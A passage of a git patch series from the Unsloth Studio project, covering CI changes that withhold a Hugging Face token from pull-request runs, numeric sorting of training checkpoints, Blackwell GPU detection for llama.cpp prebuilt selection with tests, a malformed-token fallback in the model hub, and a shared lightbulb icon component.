+          HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
         run: |
           New-Item -ItemType Directory -Force -Path logs | Out-Null
           # *>&1 captures Write-Host (Information stream) output;
@@ -1299,7 +1305,8 @@ jobs:
         id: prime-hf
         if: steps.cache-hf.outputs.cache-hit != 'true' || steps.cache-hf.outcome != 'success'
         env:
-          HF_TOKEN: ${{ secrets.HF_TOKEN }}
+          # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
+          HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
         run: |
           python -m pip install --upgrade huggingface_hub
           mkdir -p hf-cache
@@ -1376,7 +1383,8 @@ jobs:
         shell: pwsh
         env:
           GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
-          HF_TOKEN: ${{ secrets.HF_TOKEN }}
+          # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
+          HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
         run: |
           New-Item -ItemType Directory -Force -Path logs | Out-Null
           $ProgressPreference = 'SilentlyContinue'
diff --git a/.github/workflows/studio-windows-ui-smoke.yml b/.github/workflows/studio-windows-ui-smoke.yml
index 00458d213b..405309916a 100644
--- a/.github/workflows/studio-windows-ui-smoke.yml
+++ b/.github/workflows/studio-windows-ui-smoke.yml
@@ -91,7 +91,8 @@ jobs:
         id: prime-hf
         if: steps.cache-hf.outputs.cache-hit != 'true' || steps.cache-hf.outcome != 'success'
         env:
-          HF_TOKEN: ${{ secrets.HF_TOKEN }}
+          # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
+          HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
         run: |
           python -m pip install --upgrade huggingface_hub
           mkdir -p hf-cache
@@ -155,7 +156,8 @@ jobs:
         shell: pwsh
         env:
           GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
-          HF_TOKEN: ${{ secrets.HF_TOKEN }}
+          # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
+          HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
         run: |
           New-Item -ItemType Directory -Force -Path logs | Out-Null
           # *>&1 redirects ALL PowerShell streams (stdout, stderr,
diff --git a/.github/workflows/studio-windows-update-smoke.yml b/.github/workflows/studio-windows-update-smoke.yml
index 1a2a7df493..888b3d70a3 100644
--- a/.github/workflows/studio-windows-update-smoke.yml
+++ b/.github/workflows/studio-windows-update-smoke.yml
@@ -133,7 +133,8 @@ jobs:
         shell: pwsh
         env:
           GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
-          HF_TOKEN: ${{ secrets.HF_TOKEN }}
+          # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
+          HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
         run: |
           New-Item -ItemType Directory -Force -Path logs | Out-Null
           # *>&1 captures Write-Host (Information stream) output;
@@ -180,7 +181,8 @@ jobs:
       - name: First update should be a no-op (prebuilt already validated)
         env:
           GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
-          HF_TOKEN: ${{ secrets.HF_TOKEN }}
+          # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
+          HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
         run: |
           set -o pipefail
           unsloth studio update --local 2>&1 | tee logs/update.log
@@ -199,7 +201,8 @@ jobs:
       - name: Second update must also be a no-op
         env:
           GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
-          HF_TOKEN: ${{ secrets.HF_TOKEN }}
+          # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
+          HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
         run: |
           set -o pipefail
           unsloth studio update --local 2>&1 | tee logs/update2.log

From dad11e8c0ccdc3290a7c87d32657488a6a89827c Mon Sep 17 00:00:00 2001
From: Long Yixing <longyixing331@gmail.com>
Date: Tue, 23 Jun 2026 19:25:53 +0800
Subject: [PATCH 058/306] Fix Studio export checkpoint ordering (#6602)

* fix(studio): sort export checkpoints by step

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Lee Jackson <130007945+Imagineer99@users.noreply.github.com>
---
 studio/backend/utils/models/checkpoints.py | 42 +++++++++++++++++-----
 1 file changed, 34 insertions(+), 8 deletions(-)

diff --git a/studio/backend/utils/models/checkpoints.py b/studio/backend/utils/models/checkpoints.py
index 5a992926ec..63f599d0df 100644
--- a/studio/backend/utils/models/checkpoints.py
+++ b/studio/backend/utils/models/checkpoints.py
@@ -4,6 +4,7 @@
 """Checkpoint scanning utilities for discovering training runs and checkpoints."""
 
 import json
+import re
 import structlog
 from loggers import get_logger
 from pathlib import Path
@@ -12,6 +13,22 @@ from utils.paths import outputs_root, resolve_output_dir
 
 logger = get_logger(__name__)
 
+_CHECKPOINT_STEP_RE = re.compile(r"^checkpoint-(\d+)$")
+
+
+def _checkpoint_step(checkpoint_name: str) -> Optional[int]:
+    match = _CHECKPOINT_STEP_RE.fullmatch(checkpoint_name)
+    if match is None:
+        return None
+    return int(match.group(1))
+
+
+def _checkpoint_sort_key(checkpoint_path: Path) -> tuple[int, int, str]:
+    step = _checkpoint_step(checkpoint_path.name)
+    if step is not None:
+        return (0, -step, checkpoint_path.name)
+    return (1, 0, str(checkpoint_path))
+
 
 def _read_checkpoint_loss(checkpoint_path: Path) -> Optional[float]:
     """Read loss from the last log_history entry of trainer_state.json, or None."""
@@ -37,8 +54,10 @@ def scan_checkpoints(
     Returns:
         [(model_name, [(display_name, checkpoint_path, loss), ...], metadata), ...]
         metadata keys (optional): base_model, peft_type, lora_rank.
-        First checkpoint entry is the main adapter; its loss mirrors the last
-        (highest-step) intermediate checkpoint.
+        First checkpoint entry is the main adapter; its loss mirrors the latest
+        (highest-step) intermediate checkpoint. Numbered checkpoints are sorted
+        by numeric step descending; non-numbered checkpoint-* dirs keep the
+        previous lexicographic directory order.
     """
     models = []
     outputs_path = resolve_output_dir(outputs_dir)
@@ -103,18 +122,25 @@ def scan_checkpoints(
             checkpoints.append((item.name, str(item), None))
 
             # Scan for intermediate checkpoints (checkpoint-N subdirs).
-            for sub in sorted(item.iterdir()):
+            valid_checkpoints = []
+            for sub in item.iterdir():
                 if not sub.is_dir() or not sub.name.startswith("checkpoint-"):
                     continue
                 sub_config = sub / "config.json"
                 sub_adapter = sub / "adapter_config.json"
                 if sub_config.exists() or sub_adapter.exists():
-                    loss = _read_checkpoint_loss(sub)
-                    checkpoints.append((sub.name, str(sub), loss))
+                    valid_checkpoints.append(sub)
 
-            # Assign the last checkpoint's loss to the main adapter entry.
-            if len(checkpoints) > 1:
-                last_checkpoint_loss = checkpoints[-1][2]
+            intermediate_checkpoints = []
+            for sub in sorted(valid_checkpoints, key = _checkpoint_sort_key):
+                loss = _read_checkpoint_loss(sub)
+                intermediate_checkpoints.append((sub.name, str(sub), loss))
+
+            checkpoints.extend(intermediate_checkpoints)
+
+            # Assign the latest checkpoint's loss to the main adapter entry.
+            if intermediate_checkpoints:
+                last_checkpoint_loss = intermediate_checkpoints[0][2]
                 checkpoints[0] = (
                     checkpoints[0][0],
                     checkpoints[0][1],

From 21bdc8fa8c3190d433c7ee0312b1d099b7d4fc6f Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Tue, 23 Jun 2026 05:15:09 -0700
Subject: [PATCH 059/306] Studio: treat data-center Blackwell (sm_100/sm_103)
 as Blackwell in llama.cpp prebuilt selection (#6584)

* Studio: treat data-center Blackwell (sm_100/sm_103) as Blackwell in llama.cpp prebuilt selection

_host_is_blackwell gated on _BLACKWELL_MIN_SM = 120, but data-center Blackwell
parts report a lower compute capability than consumer Blackwell: B100/B200 are
sm_100 and B300/GB300 are sm_103, while RTX 50 is sm_120 and DGX Spark is
sm_121. Because 100 and 103 are both < 120, every data-center Blackwell host was
classified as non-Blackwell, so two GPU-targeting paths never fired for a
B200/B300:

  - the Linux blackwell_runtime_override that prefers the highest CUDA-major
    runtime line shipping a bundle covering the host SMs (so a cu12x torch could
    pin a cuda12 bundle over a native cuda13 one), and
  - _drop_blackwell_incapable_windows_cuda, which removes cuda-12.4 builds that
    load and validate but run Blackwell on a slow PTX-JIT path.

The result is a B200/B300 being handed a prebuilt that does not natively offload
its SM, i.e. the llama.cpp prebuilt is not really for the GPU. The Blackwell
floor is sm_100, so set _BLACKWELL_MIN_SM = 100. The toolkit floor (12.8) is
unchanged and already correct for sm_100/sm_103.

Surfaced loading unsloth/GLM-5.2-GGUF UD-IQ1_S on 8x B200.

Adds tests covering the sm_100/sm_103 classification, the Linux cuda13
preference for a data-center host, and the Windows cuda-12.4 drop.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Trim comments to be succinct (no behavior change)

* studio: require CUDA 12.9 for sm_103/sm_121 Blackwell prebuilts

sm_103 (B300/GB300) and sm_121 (DGX Spark) have no native compiler
target before CUDA 12.9; the family floor of 12.8 only covers
sm_100/101/120. Make the Windows-CUDA Blackwell filter SM-aware so a
legacy win-cuda-12.8 bundle is dropped on an sm_103/sm_121 host while
sm_100/sm_120 hosts keep the 12.8 floor.

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
---
 .../tests/test_install_resolve_prebuilt.py    | 151 ++++++++++++++++++
 studio/install_llama_prebuilt.py              |  53 +++---
 2 files changed, 183 insertions(+), 21 deletions(-)

diff --git a/studio/backend/tests/test_install_resolve_prebuilt.py b/studio/backend/tests/test_install_resolve_prebuilt.py
index d69eccc54d..e9941d9e62 100644
--- a/studio/backend/tests/test_install_resolve_prebuilt.py
+++ b/studio/backend/tests/test_install_resolve_prebuilt.py
@@ -209,3 +209,154 @@ def test_resolve_prebuilt_linux_amd_tooling_routes_to_fork(monkeypatch, capsys):
     out = json.loads(capsys.readouterr().out.strip().splitlines()[-1])
     assert seen["repo"] == FORK
     assert out["repo"] == FORK
+
+
+# Blackwell floor is sm_100 (data-center B100/B200, B300/GB300), below consumer
+# sm_120 -- 120 wrongly excluded data-center hosts from the prebuilt selection.
+
+
+def _gpu_linux_host(caps):
+    return _host(
+        is_linux = True,
+        is_x86_64 = True,
+        has_physical_nvidia = True,
+        has_usable_nvidia = True,
+        driver_cuda_version = (13, 1),
+        compute_caps = caps,
+    )
+
+
+def test_host_is_blackwell_includes_datacenter_parts():
+    assert ilp._host_is_blackwell(_gpu_linux_host(["10.0"])) is True  # B200 sm_100
+    assert ilp._host_is_blackwell(_gpu_linux_host(["10.3"])) is True  # B300 sm_103
+    assert ilp._host_is_blackwell(_gpu_linux_host(["12.0"])) is True  # RTX 50 sm_120
+    assert ilp._host_is_blackwell(_gpu_linux_host(["12.1"])) is True  # DGX Spark sm_121
+    assert ilp._host_is_blackwell(_gpu_linux_host(["9.0"])) is False  # Hopper
+    assert ilp._host_is_blackwell(_gpu_linux_host(["8.0"])) is False  # Ampere
+    assert ilp._host_is_blackwell(_gpu_linux_host(["9.0", "10.0"])) is True  # highest cap wins
+
+
+def _linux_cuda_artifact(runtime_line, supported_sms, min_sm, max_sm, profile):
+    return ilp.PublishedLlamaArtifact(
+        asset_name = f"app-b9739-linux-x64-{profile}.tar.gz",
+        install_kind = "linux-cuda",
+        runtime_line = runtime_line,
+        coverage_class = "newer",
+        supported_sms = supported_sms,
+        min_sm = min_sm,
+        max_sm = max_sm,
+        bundle_profile = profile,
+        rank = 50,
+    )
+
+
+def test_linux_blackwell_override_prefers_cuda13_for_datacenter(monkeypatch):
+    # Both bundles cover sm_100 and torch reports cuda12, so coverage alone can't
+    # decide -- only the sm_100 Blackwell floor lifts cuda13 to the front.
+    cuda12 = _linux_cuda_artifact(
+        "cuda12", ["86", "89", "90", "100", "120"], 86, 120, "cuda12-newer"
+    )
+    cuda13 = _linux_cuda_artifact(
+        "cuda13", ["86", "89", "90", "100", "103", "120"], 86, 120, "cuda13-newer"
+    )
+    release = ilp.PublishedReleaseBundle(
+        repo = FORK,
+        release_tag = "b9739-mix",
+        upstream_tag = "b9739",
+        assets = {cuda12.asset_name: "https://x/cuda12", cuda13.asset_name: "https://x/cuda13"},
+        artifacts = [cuda12, cuda13],
+    )
+    monkeypatch.setattr(
+        ilp,
+        "detected_linux_runtime_lines",
+        lambda: (["cuda13", "cuda12"], {"cuda13": ["/usr/lib"], "cuda12": ["/usr/lib"]}),
+    )
+
+    selection = ilp.linux_cuda_choice_from_release(
+        _gpu_linux_host(["10.0"]), release, preferred_runtime_line = "cuda12"
+    )
+    assert selection is not None
+    assert selection.primary.runtime_line == "cuda13"
+    assert selection.primary.bundle_profile == "cuda13-newer"
+
+
+def test_drop_blackwell_incapable_windows_cuda_applies_to_datacenter():
+    # B200 (sm_100) on Windows must drop the cuda-12.4 build and keep cuda13.
+    host = _host(
+        system = "Windows",
+        is_windows = True,
+        is_x86_64 = True,
+        has_physical_nvidia = True,
+        has_usable_nvidia = True,
+        compute_caps = ["10.0"],
+    )
+    cuda124 = ilp.AssetChoice(
+        repo = FORK,
+        tag = "b9739",
+        name = "llama-b9739-bin-win-cuda-12.4-x64.zip",
+        url = "https://x/124",
+        source_label = "published",
+        install_kind = "windows-cuda",
+    )
+    cuda13 = ilp.AssetChoice(
+        repo = FORK,
+        tag = "b9739",
+        name = "app-b9739-windows-x64-cuda13-newer.zip",
+        url = "https://x/13",
+        source_label = "published",
+        install_kind = "windows-cuda",
+        max_sm = 120,
+    )
+    kept = ilp._drop_blackwell_incapable_windows_cuda(host, [cuda124, cuda13])
+    assert [a.name for a in kept] == [cuda13.name]
+
+
+def test_blackwell_min_toolkit_is_sm_aware():
+    # Family floor is 12.8; sm_103/sm_121 (no native target before 12.9) lift it.
+    f = ilp._blackwell_min_toolkit_for_host
+    assert f(_gpu_linux_host(["10.0"])) == (12, 8)  # B200
+    assert f(_gpu_linux_host(["12.0"])) == (12, 8)  # RTX 50
+    assert f(_gpu_linux_host(["10.3"])) == (12, 9)  # B300
+    assert f(_gpu_linux_host(["12.1"])) == (12, 9)  # DGX Spark
+    assert f(_gpu_linux_host(["10.0", "10.3"])) == (12, 9)  # max across SMs wins
+
+
+def test_sm103_host_drops_cuda128_windows_build():
+    # B300 (sm_103) needs cuda-12.9: a legacy win-cuda-12.8 build must be dropped.
+    host = _host(
+        system = "Windows",
+        is_windows = True,
+        is_x86_64 = True,
+        has_physical_nvidia = True,
+        has_usable_nvidia = True,
+        compute_caps = ["10.3"],
+    )
+    cuda128 = ilp.AssetChoice(
+        repo = FORK,
+        tag = "b9739",
+        name = "llama-b9739-bin-win-cuda-12.8-x64.zip",
+        url = "https://x/128",
+        source_label = "published",
+        install_kind = "windows-cuda",
+    )
+    cuda129 = ilp.AssetChoice(
+        repo = FORK,
+        tag = "b9739",
+        name = "llama-b9739-bin-win-cuda-12.9-x64.zip",
+        url = "https://x/129",
+        source_label = "published",
+        install_kind = "windows-cuda",
+    )
+    kept = ilp._drop_blackwell_incapable_windows_cuda(host, [cuda128, cuda129])
+    assert [a.name for a in kept] == [cuda129.name]
+    # sm_100 stays on the 12.8 family floor and keeps the same 12.8 build.
+    b200 = _host(
+        system = "Windows",
+        is_windows = True,
+        is_x86_64 = True,
+        has_physical_nvidia = True,
+        has_usable_nvidia = True,
+        compute_caps = ["10.0"],
+    )
+    kept_b200 = ilp._drop_blackwell_incapable_windows_cuda(b200, [cuda128, cuda129])
+    assert [a.name for a in kept_b200] == [cuda128.name, cuda129.name]
diff --git a/studio/install_llama_prebuilt.py b/studio/install_llama_prebuilt.py
index 1823a0f67e..33cb709ba7 100644
--- a/studio/install_llama_prebuilt.py
+++ b/studio/install_llama_prebuilt.py
@@ -230,12 +230,15 @@ FORCE_COMPILE_DEFAULT_REF = os.environ.get("UNSLOTH_LLAMA_FORCE_COMPILE_REF", "m
 _MIN_CUDA_MAJOR = 12
 _MAX_PROBE_CUDA_MAJOR = 19
 
-# Blackwell sm_120 capability thresholds. A host is Blackwell when its highest
-# compute capability is at least sm_120; ggml compiles sm_120 only at toolkit
-# >= 12.8, so an in-release windows-cuda build at or above that already covers
-# Blackwell, while cuda-12.4 does not and is dropped on a Blackwell host.
-_BLACKWELL_MIN_SM = 120
+# Blackwell floor is sm_100: data-center parts (B100/B200 sm_100, B300/GB300
+# sm_103) sit below consumer Blackwell (RTX 50 sm_120); the family needs toolkit
+# >= 12.8, except sm_103/sm_121 which need 12.9. (120 here wrongly excluded the
+# sm_100/103 data-center hosts.)
+_BLACKWELL_MIN_SM = 100
 _BLACKWELL_MIN_TOOLKIT = (12, 8)
+# SMs that need a newer toolkit than the family floor (CUDA 12.9 added native
+# sm_103/sm_121 targets; 12.8 covers sm_100/101/120).
+_BLACKWELL_SM_MIN_TOOLKIT = {103: (12, 9), 121: (12, 9)}
 
 
 def _cuda_runtime_lines_for_major(major: int) -> list[str]:
@@ -3418,18 +3421,18 @@ def windows_cuda_attempts(
     return attempts
 
 
-def _windows_cuda_attempt_covers_blackwell(attempt: AssetChoice) -> bool:
-    """True if an in-release windows-cuda attempt yields a Blackwell sm_120
-    capable build. The fork's app-named bundles declare their SM coverage
-    directly; legacy upstream-named bundles instead encode their CUDA toolkit
-    minor in the filename (covers Blackwell at toolkit >= 12.8)."""
+def _windows_cuda_attempt_covers_blackwell(
+    attempt: AssetChoice, min_toolkit: tuple[int, int] = _BLACKWELL_MIN_TOOLKIT
+) -> bool:
+    """True if a windows-cuda attempt is Blackwell-capable (app bundles via
+    declared SMs; legacy upstream bundles via toolkit minor >= min_toolkit:
+    12.8 for the family, 12.9 for sm_103/sm_121)."""
     if attempt.install_kind != "windows-cuda":
         return False
-    # Legacy upstream-named bundles encode their toolkit minor; it is the binding
-    # constraint (a 12.4 toolkit cannot offload sm_120 whatever its metadata says).
+    # Legacy bundle: the toolkit minor binds (12.4 cannot offload Blackwell).
     m = re.search(r"-bin-win-cuda-(\d+)\.(\d+)-x64\.zip$", attempt.name)
     if m is not None:
-        return (int(m.group(1)), int(m.group(2))) >= _BLACKWELL_MIN_TOOLKIT
+        return (int(m.group(1)), int(m.group(2))) >= min_toolkit
     # App-named bundles carry no minor and declare their SM coverage directly.
     return attempt.max_sm is not None and attempt.max_sm >= _BLACKWELL_MIN_SM
 
@@ -3439,22 +3442,30 @@ def _host_is_blackwell(host: HostInfo) -> bool:
     return bool(caps) and int(caps[-1]) >= _BLACKWELL_MIN_SM
 
 
+def _blackwell_min_toolkit_for_host(host: HostInfo) -> tuple[int, int]:
+    """Minimum CUDA toolkit this Blackwell host needs: 12.8 for the family,
+    12.9 if any of its SMs is sm_103/sm_121 (no native target before 12.9)."""
+    req = _BLACKWELL_MIN_TOOLKIT
+    for sm in normalize_compute_caps(host.compute_caps):
+        req = max(req, _BLACKWELL_SM_MIN_TOOLKIT.get(int(sm), _BLACKWELL_MIN_TOOLKIT))
+    return req
+
+
 def _drop_blackwell_incapable_windows_cuda(
     host: HostInfo, attempts: list[AssetChoice]
 ) -> list[AssetChoice]:
-    """On a Blackwell host, drop windows-cuda attempts that cannot offload
-    sm_120 (e.g. upstream cuda-12.4, toolkit 12.4). Such a build loads and
-    passes the functional validator but runs the model on a slow non-native
-    path (an RTX 5090 measured 7.1 tok/s vs 551.2 on cuda-13.3), so it must
-    not sit in the fallback chain behind the pin or an in-release cuda13.
-    Non-cuda attempts (windows-cpu, windows-hip, ...) pass through so the
-    host still degrades to an honest CPU install when no CUDA 13 exists."""
+    """On a Blackwell host, drop windows-cuda attempts that can't offload
+    Blackwell (e.g. cuda-12.4): they load and validate but run a slow non-native
+    path (RTX 5090: 7.1 vs 551.2 tok/s on cuda-13.3). Non-cuda attempts pass
+    through so the host can still fall back to an honest CPU install."""
     if not _host_is_blackwell(host):
         return attempts
+    min_toolkit = _blackwell_min_toolkit_for_host(host)
     return [
         attempt
         for attempt in attempts
-        if attempt.install_kind != "windows-cuda" or _windows_cuda_attempt_covers_blackwell(attempt)
+        if attempt.install_kind != "windows-cuda"
+        or _windows_cuda_attempt_covers_blackwell(attempt, min_toolkit)
     ]
 
 

From 71e6b1874a4857c0edd5a78d775adc9849e3871b Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Tue, 23 Jun 2026 05:16:10 -0700
Subject: [PATCH 060/306] Studio: fall back to anonymous HF browsing on a
 malformed token (#6605)

* Studio: fall back to anonymous HF browsing on a malformed token

The Discover/Recommended feeds call the Hugging Face JS client
(`listModels`/`listDatasets`) directly from the browser. That client
throws `Your access token must start with 'hf_'` when handed a non-empty
token that isn't a well-formed HF token, instead of falling back to
anonymous access. A single bad value left in the HF token field (e.g. a
placeholder someone typed) therefore takes down the entire discovery feed
even though it works fine with no token at all.

Add `hfApiToken()` to the HF token store, which returns the token only
when it looks like a real `hf_...` credential and `undefined` otherwise,
and route hub-page's four HF call sites through it. Malformed tokens now
degrade to anonymous public browsing rather than erroring. The raw token
is still stored and shown in the settings field unchanged.

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>

* Studio: trim hfApiToken comments

Collapse the 11-line JSDoc to a 2-line note and drop the redundant
call-site comment in hub-page. AST signature check confirms code is
unchanged (comments only).

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>

---------

Co-authored-by: Claude Opus 4.8 <noreply@anthropic.com>
---
 studio/frontend/src/features/hub/hub-page.tsx      | 14 +++++++++-----
 .../src/features/hub/stores/hf-token-store.ts      |  8 ++++++++
 2 files changed, 17 insertions(+), 5 deletions(-)

diff --git a/studio/frontend/src/features/hub/hub-page.tsx b/studio/frontend/src/features/hub/hub-page.tsx
index e379d7f2ee..b919e5f043 100644
--- a/studio/frontend/src/features/hub/hub-page.tsx
+++ b/studio/frontend/src/features/hub/hub-page.tsx
@@ -14,7 +14,10 @@ import { useHubInfiniteScroll } from "@/features/hub/hooks/use-hub-infinite-scro
 import { ggufVariantsMatch, modelIdsMatch } from "@/features/hub/lib/model-identity";
 import { cn } from "@/lib/utils";
 import { usePlatformStore } from "@/config/env";
-import { useHfTokenStore } from "@/features/hub/stores/hf-token-store";
+import {
+  hfApiToken,
+  useHfTokenStore,
+} from "@/features/hub/stores/hf-token-store";
 import {
   getInferenceStatus,
   isExternalModelId,
@@ -551,6 +554,7 @@ export function ModelsPage() {
   const deferredDebouncedQuery = useDeferredValue(debouncedQuery);
   const hfToken = useHfTokenStore((s) => s.token);
   const debouncedHfToken = useDebouncedValue(hfToken, 500);
+  const apiHfToken = hfApiToken(debouncedHfToken);
   const deferredFormatFilter = useDeferredValue(formatFilter);
   const deferredCapabilityFilter = useDeferredValue(capabilityFilter);
 
@@ -605,7 +609,7 @@ export function ModelsPage() {
     handleRetrySearch,
   } = useDiscoverSearch({
     debouncedQuery,
-    accessToken: debouncedHfToken || undefined,
+    accessToken: apiHfToken,
     isDiscoverTab,
     isDatasetMode,
     sortBy: effectiveSort,
@@ -619,7 +623,7 @@ export function ModelsPage() {
     channelId: isChannelListMode ? activeChannelId : null,
     results,
     isLoading,
-    accessToken: debouncedHfToken || undefined,
+    accessToken: apiHfToken,
   });
 
   const {
@@ -702,7 +706,7 @@ export function ModelsPage() {
   const listRows = filteredDiscoverRows;
 
   const hubFeed = useHubFeed({
-    accessToken: debouncedHfToken || undefined,
+    accessToken: apiHfToken,
     online,
     enabled: isFeedMode,
     deviceType,
@@ -908,7 +912,7 @@ export function ModelsPage() {
     filteredCachedRows,
     filteredLocalRows,
     results: selectionResults,
-    accessToken: debouncedHfToken || undefined,
+    accessToken: apiHfToken,
     online,
   });
 
diff --git a/studio/frontend/src/features/hub/stores/hf-token-store.ts b/studio/frontend/src/features/hub/stores/hf-token-store.ts
index 31a7f0a4da..b1e2560f02 100644
--- a/studio/frontend/src/features/hub/stores/hf-token-store.ts
+++ b/studio/frontend/src/features/hub/stores/hf-token-store.ts
@@ -116,3 +116,11 @@ export const useHfTokenStore = create<HfTokenStore>((set) => {
 export function getHfToken(): string {
   return useHfTokenStore.getState().token;
 }
+
+// HF's JS client throws on a non-empty token that isn't `hf_...` instead of
+// browsing anonymously, so treat anything malformed as no token.
+export function hfApiToken(
+  token: string | undefined | null,
+): string | undefined {
+  return token && token.startsWith("hf_") ? token : undefined;
+}

From 9776bac2ba74cad5ee66c4b610ccd6b662c7007c Mon Sep 17 00:00:00 2001
From: Michael Han <107991372+shimmyshimmer@users.noreply.github.com>
Date: Tue, 23 Jun 2026 05:16:39 -0700
Subject: [PATCH 061/306] Chat: match reasoning thinking icon to the composer
 bulb (#6607)

* Chat: match reasoning thinking icon to the composer bulb

The reasoning "Thinking..." indicator used lucide's LightbulbIcon while
the composer thinking toggle used a custom bulb glyph, so the two did not
match. Move that glyph into lib/bulb-icon.tsx and use it in both places
so they render the same icon.

* Let BulbIcon take and override svg props

---------

Co-authored-by: Unsloth <michaelhan@Michaels-MacBook-Pro.local>
---
 .../src/components/assistant-ui/reasoning.tsx |  5 ++--
 .../src/features/chat/shared-composer.tsx     | 15 +----------
 studio/frontend/src/lib/bulb-icon.tsx         | 25 +++++++++++++++++++
 3 files changed, 29 insertions(+), 16 deletions(-)
 create mode 100644 studio/frontend/src/lib/bulb-icon.tsx

diff --git a/studio/frontend/src/components/assistant-ui/reasoning.tsx b/studio/frontend/src/components/assistant-ui/reasoning.tsx
index a6c326c64e..b81c2f2176 100644
--- a/studio/frontend/src/components/assistant-ui/reasoning.tsx
+++ b/studio/frontend/src/components/assistant-ui/reasoning.tsx
@@ -20,7 +20,8 @@ import {
 } from "@assistant-ui/react";
 import { copyToClipboard } from "@/lib/copy-to-clipboard";
 import { type VariantProps, cva } from "class-variance-authority";
-import { ChevronDownIcon, CopyIcon, LightbulbIcon } from "lucide-react";
+import { ChevronDownIcon, CopyIcon } from "lucide-react";
+import { BulbIcon } from "@/lib/bulb-icon";
 import { Tick02Icon } from "@/lib/tick-icon";
 import { HugeiconsIcon } from "@hugeicons/react";
 import {
@@ -128,7 +129,7 @@ function ReasoningTrigger({
       )}
       {...props}
     >
-      <LightbulbIcon className="aui-reasoning-trigger-icon size-4 shrink-0" />
+      <BulbIcon className="aui-reasoning-trigger-icon size-4 shrink-0" />
       <span
         data-slot="reasoning-trigger-label"
         className="aui-reasoning-trigger-label-wrapper relative inline-block leading-none"
diff --git a/studio/frontend/src/features/chat/shared-composer.tsx b/studio/frontend/src/features/chat/shared-composer.tsx
index f35ccc6149..912d92003b 100644
--- a/studio/frontend/src/features/chat/shared-composer.tsx
+++ b/studio/frontend/src/features/chat/shared-composer.tsx
@@ -7,6 +7,7 @@ import {
   thinkToggleAriaLabel,
 } from "@/components/assistant-ui/think-aria-label";
 import { Button } from "@/components/ui/button";
+import { BulbIcon } from "@/lib/bulb-icon";
 import { Tick02Icon } from "@/lib/tick-icon";
 import { cn } from "@/lib/utils";
 import {
@@ -155,20 +156,6 @@ const MicIcon: FC<{ className?: string }> = ({ className }) => (
   </svg>
 );
 
-const BulbIcon: FC<{ className?: string }> = ({ className }) => (
-  <svg
-    className={className}
-    viewBox="-10.24 -10.24 1044.48 1044.48"
-    fill="currentColor"
-    stroke="currentColor"
-    strokeWidth={16.384}
-    xmlns="http://www.w3.org/2000/svg"
-    aria-hidden={true}
-  >
-    <path d="M511.984 0c-198.032 0-353.12 161.104-353.12 359.136 0 149.2 73.28 220.256 131.185 272.128 37.28 33.424 62.368 53.552 62.368 78.352v54.255c0 1.392.193 2.752.368 4.128h-.72v92.624c.016 97.712 63.2 163.376 161.072 163.376 94.464 0 158.944-65.664 158.944-163.376V768h-.928c.176-1.376.416-2.736.416-4.128v-54.255c0-37.76 28.032-60.592 70.528-97.696 57.504-50.208 123.023-112.688 123.023-252.784C865.136 161.104 710.016 0 511.983 0zm-1.215 960c-59.904 0-94.689-37.152-94.689-99.376l-.463-42.672C438.64 825.824 470 832 512 832c41.424 0 72.848-6.624 96.08-14.768v43.392c0 63.152-35.247 99.376-97.312 99.376zm189.248-396.288c-43.472 37.968-92.433 77.216-92.433 145.904v40.432c-15.183 8.48-43.183 18.56-96.127 18.56-55.569 0-81.92-9.856-95.024-17.473V709.6c0-54.608-42.688-89.297-83.68-126.017-54.32-48.672-109.873-103.84-109.873-224.464-.015-162.72 126.385-295.12 289.104-295.12 162.752 0 289.152 132.4 289.152 295.137 0 111.024-48.463 158.576-101.12 204.576z" />
-  </svg>
-);
-
 function isNativeComposing(event: Event) {
   return "isComposing" in event && (event as InputEvent).isComposing === true;
 }
diff --git a/studio/frontend/src/lib/bulb-icon.tsx b/studio/frontend/src/lib/bulb-icon.tsx
new file mode 100644
index 0000000000..e2f50d43b0
--- /dev/null
+++ b/studio/frontend/src/lib/bulb-icon.tsx
@@ -0,0 +1,25 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import type { ComponentPropsWithoutRef } from "react";
+
+// Shared lightbulb glyph used by the composer thinking toggle and the
+// reasoning "Thinking..." indicator so both stay in sync. Defaults are
+// overridable via props.
+export const BulbIcon = ({
+  className,
+  ...props
+}: ComponentPropsWithoutRef<"svg">) => (
+  <svg
+    className={className}
+    viewBox="-10.24 -10.24 1044.48 1044.48"
+    fill="currentColor"
+    stroke="currentColor"
+    strokeWidth={16.384}
+    xmlns="http://www.w3.org/2000/svg"
+    aria-hidden={true}
+    {...props}
+  >
